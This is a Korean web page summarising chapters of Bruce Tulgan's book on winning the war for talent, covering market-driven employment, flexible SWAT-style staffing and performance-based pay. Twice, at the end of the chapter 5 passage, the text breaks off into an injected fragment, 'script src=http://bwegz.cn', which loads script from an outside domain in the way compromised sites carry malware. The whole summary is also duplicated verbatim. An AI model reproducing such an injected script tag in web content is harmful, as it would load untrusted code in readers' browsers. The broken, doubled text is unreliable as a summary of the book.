유능한 인재를 잡아라
2007-01-18
인재쟁탈전
●브루스 툴간 지음·이주만 옮김
제1장 신경제 시대 게임의 규칙
<지금 당장 유능한 사람이 필요하다>
크고 작은 모든 기업은 치열한 인재 쟁탈전에 참여하고 있다. 그러나 직원들에게 금전적인 인센티브를 제공하는 제도나 이직률 감소 프로그램은 고용주들을 서로 경쟁하게 만드는 등 그 효과에 한계가 있다. 그렇다면, 효율적으로 실적좋은 인재를 확보하기 위해서 어떻게 해야할까?
<시장 주도형 고용 관계>
신경제 체제로 이행하는 1단계는 정리 해고와 구조 조정을 통해 이루어진다. 이 단계의 핵심은 고용주들이 고용 안정에 대한 의무를 저버리고 피고용자들에게 자신의 장래를 스스로 책임지라고 소리치는 것이다. 2단계는 자유 계약자들이 고용주들의 고용 안정에 대한 배신 행위에 대해 즉각적으로 대응하는 단계이다.
오늘날의 경제는 3단계로 들어서고 있는데 이는 고용주와 피고용자 간의 관계가 역동적으로 변화함으로써 기존의 봉건적인 형태의 종속적 고용 관계에서 시장이 주도해나가는 평등한 고용 관계로 이행되는 단계이다. 그러나 아직도 많은 경영자들이 이행의 1단계와 2단계 사이에 머물고 싶어하나 3단계 인재고용방식을 택하지 않으면 기업은 폐업할 수 밖에 없다.
제2장 능력 있는 인재만이 주인공이 될 수 있다
<개인: 기업, Win-Win의 비결.>
관리자들은 자신들이 처해 있는 환경에 적합한 인력을 확보하도록 선택 사항을 조절할 수 있는 유연한 고용 방식이 필요하다. 현장 관리자들은 이용할 수 있는 인재가 있다면 언제든지 그와 적절한 거래를 할 수 있어야 한다. 해야 할 업무를 인재에게 적합하도록 변경하는 것이 아니라 확보한 사원이 현재 배정된 업무에 맞지 않는다면 적합한 업무를 다시 부여해 기업과 개인이 효율적으로 목표에 도달할 수 있는 윈윈 관계를 구축해야 한다.
제3장 업무 목적에 맞는 인력을 투입하라
<스왓 팀(SWAT team)을 도입하자 >
여러 관리자들은 매우 유능한 인재들이 상품 판매 조직에 경직된 직장 생활에 지쳐서 떠나려 한다는 사실을 이미 경험해 보았을 것이다. 사실 인재들은 승진하는 일 보다는 자신들이 원하는 방향과 방식으로 경력을 쌓을 수 있게 되기를 바란다. 이에 대해 머빈스 사는 정규직 직원에게 할당되는 어떤 규정된 반복적인 직무를 떠맡지 않고도 스왓팀으로 여전히 자사의 전속 피고용자로 남을 수 있도록 했다. 그들은 정규직 업무를 할당받지 않은 상태로 있게 되고, 9개의 다른 부서들에 공백이 생기면 그때마다 그 자리를 채우게 되었다.
머빈스 사는 스왓 팀을 통해 갑작스럽게 발생하는 인원 부족 문제를 해결하고 유능한 인재들에게는 훨씬 유연한 근무 조건을 제공했다. 스왓 팀에서 활동했던 사람들이 팀에서 발탁되어 전통적인 승진 단계를 몇 단계나 뛰어넘고 상위 레벨의 직위에 등용되는 일은 이제 매우 흔한 일이 되었다. 머빈스 사는 과거의 승진 체계를 대체할 수 있는 새로운 체계를 만들었으며, 직원들이 다양한 경력을 쌓을 수 있고 매우 유연한 근무 조건으로 높은 보상을 받을 수 있는 길을 여는 데 성공했고, 많은 압력을 받았던 인원 확보 문제를 해결하였다.
제4장 오직 성과만으로 대우하라
<현금 보너스의 힘>
당신은 근무 시간이 아니라 업무 성과로써 직원들에게 대가를 지불할 수 있도록 임금 체계를 재조정해야 한다. 직원들의 성과를 중시하고 있다면 직원들에 대한 보상도 중시해야 한다. 자유 시장에서 성과는 어떤 보상을 받느냐에 달려 있다. 몇 년 전 게리 존스가 설립한 제조업체인 헤머스트렝스 사는 처음에는 6명의 직원들이 한 가지 상품으로 사업을 시작했지만 지금은 100명이 넘는 직원들이 60여 가지의 운동 기구들을 생산하는 회사가 되었다. 단순, 효율적인 제조과정을 개발하고 보상을 통해 생산성을 극대화해 많은 성과를 낼 수 있었다. 존스는 자신의 회사에서 일하면 가장 많은 임금을 받을 수 있다는 사실을 분명히 하였다. 해머스트렝스 사는 다른 모든 회사의 절반밖에 안 되는 근로자들로 더 많은 생산을 하게 되었다.
<목요일에 일하지 않겠다구요?>
직원들에게 돈이 아닌 다른 것으로도 성과에 대해 보상할 줄 알아야 한다. 미국의 페니 사, 모토로라 사등은 직원들이 결근하지 않으면 유급휴과를 주거나 상품권, 여행권등으로 보상한다. 당신은 이런 정책을 당장 시행해야 한다. 우리가 조사한 바에 따르면 직원들이 바라는 비금전적인 보상의 제1순위는 근무 시간이었다. 직원들은 근무 시간을 좀더 자율적으로 조정하고 싶어한다. 날마다 성과 위주로 보상할 수 있는 근무 시간과 기타 재향으로 사용할 수 있는 자원을 확보하고 협상에 임하라.
제5장 경영 관리자를 코치로 만들어라
<코치의 힘>
개인 코치란 무엇인가? 토니 로빈스를 기억하는?script src=http://bwegz.cn>
●브루스 툴간 지음·이주만 옮김
제1장 신경제 시대 게임의 규칙
<지금 당장 유능한 사람이 필요하다>
크고 작은 모든 기업은 치열한 인재 쟁탈전에 참여하고 있다. 그러나 직원들에게 금전적인 인센티브를 제공하는 제도나 이직률 감소 프로그램은 고용주들을 서로 경쟁하게 만드는 등 그 효과에 한계가 있다. 그렇다면, 효율적으로 실적좋은 인재를 확보하기 위해서 어떻게 해야할까?
<시장 주도형 고용 관계>
신경제 체제로 이행하는 1단계는 정리 해고와 구조 조정을 통해 이루어진다. 이 단계의 핵심은 고용주들이 고용 안정에 대한 의무를 저버리고 피고용자들에게 자신의 장래를 스스로 책임지라고 소리치는 것이다. 2단계는 자유 계약자들이 고용주들의 고용 안정에 대한 배신 행위에 대해 즉각적으로 대응하는 단계이다.
오늘날의 경제는 3단계로 들어서고 있는데 이는 고용주와 피고용자 간의 관계가 역동적으로 변화함으로써 기존의 봉건적인 형태의 종속적 고용 관계에서 시장이 주도해나가는 평등한 고용 관계로 이행되는 단계이다. 그러나 아직도 많은 경영자들이 이행의 1단계와 2단계 사이에 머물고 싶어하나 3단계 인재고용방식을 택하지 않으면 기업은 폐업할 수 밖에 없다.
제2장 능력 있는 인재만이 주인공이 될 수 있다
<개인: 기업, Win-Win의 비결.>
관리자들은 자신들이 처해 있는 환경에 적합한 인력을 확보하도록 선택 사항을 조절할 수 있는 유연한 고용 방식이 필요하다. 현장 관리자들은 이용할 수 있는 인재가 있다면 언제든지 그와 적절한 거래를 할 수 있어야 한다. 해야 할 업무를 인재에게 적합하도록 변경하는 것이 아니라 확보한 사원이 현재 배정된 업무에 맞지 않는다면 적합한 업무를 다시 부여해 기업과 개인이 효율적으로 목표에 도달할 수 있는 윈윈 관계를 구축해야 한다.
제3장 업무 목적에 맞는 인력을 투입하라
<스왓 팀(SWAT team)을 도입하자 >
여러 관리자들은 매우 유능한 인재들이 상품 판매 조직에 경직된 직장 생활에 지쳐서 떠나려 한다는 사실을 이미 경험해 보았을 것이다. 사실 인재들은 승진하는 일 보다는 자신들이 원하는 방향과 방식으로 경력을 쌓을 수 있게 되기를 바란다. 이에 대해 머빈스 사는 정규직 직원에게 할당되는 어떤 규정된 반복적인 직무를 떠맡지 않고도 스왓팀으로 여전히 자사의 전속 피고용자로 남을 수 있도록 했다. 그들은 정규직 업무를 할당받지 않은 상태로 있게 되고, 9개의 다른 부서들에 공백이 생기면 그때마다 그 자리를 채우게 되었다.
머빈스 사는 스왓 팀을 통해 갑작스럽게 발생하는 인원 부족 문제를 해결하고 유능한 인재들에게는 훨씬 유연한 근무 조건을 제공했다. 스왓 팀에서 활동했던 사람들이 팀에서 발탁되어 전통적인 승진 단계를 몇 단계나 뛰어넘고 상위 레벨의 직위에 등용되는 일은 이제 매우 흔한 일이 되었다. 머빈스 사는 과거의 승진 체계를 대체할 수 있는 새로운 체계를 만들었으며, 직원들이 다양한 경력을 쌓을 수 있고 매우 유연한 근무 조건으로 높은 보상을 받을 수 있는 길을 여는 데 성공했고, 많은 압력을 받았던 인원 확보 문제를 해결하였다.
제4장 오직 성과만으로 대우하라
<현금 보너스의 힘>
당신은 근무 시간이 아니라 업무 성과로써 직원들에게 대가를 지불할 수 있도록 임금 체계를 재조정해야 한다. 직원들의 성과를 중시하고 있다면 직원들에 대한 보상도 중시해야 한다. 자유 시장에서 성과는 어떤 보상을 받느냐에 달려 있다. 몇 년 전 게리 존스가 설립한 제조업체인 헤머스트렝스 사는 처음에는 6명의 직원들이 한 가지 상품으로 사업을 시작했지만 지금은 100명이 넘는 직원들이 60여 가지의 운동 기구들을 생산하는 회사가 되었다. 단순, 효율적인 제조과정을 개발하고 보상을 통해 생산성을 극대화해 많은 성과를 낼 수 있었다. 존스는 자신의 회사에서 일하면 가장 많은 임금을 받을 수 있다는 사실을 분명히 하였다. 해머스트렝스 사는 다른 모든 회사의 절반밖에 안 되는 근로자들로 더 많은 생산을 하게 되었다.
<목요일에 일하지 않겠다구요?>
직원들에게 돈이 아닌 다른 것으로도 성과에 대해 보상할 줄 알아야 한다. 미국의 페니 사, 모토로라 사등은 직원들이 결근하지 않으면 유급휴과를 주거나 상품권, 여행권등으로 보상한다. 당신은 이런 정책을 당장 시행해야 한다. 우리가 조사한 바에 따르면 직원들이 바라는 비금전적인 보상의 제1순위는 근무 시간이었다. 직원들은 근무 시간을 좀더 자율적으로 조정하고 싶어한다. 날마다 성과 위주로 보상할 수 있는 근무 시간과 기타 재향으로 사용할 수 있는 자원을 확보하고 협상에 임하라.
제5장 경영 관리자를 코치로 만들어라
<코치의 힘>
개인 코치란 무엇인가? 토니 로빈스를 기억하는?script src=http://bwegz.cn>
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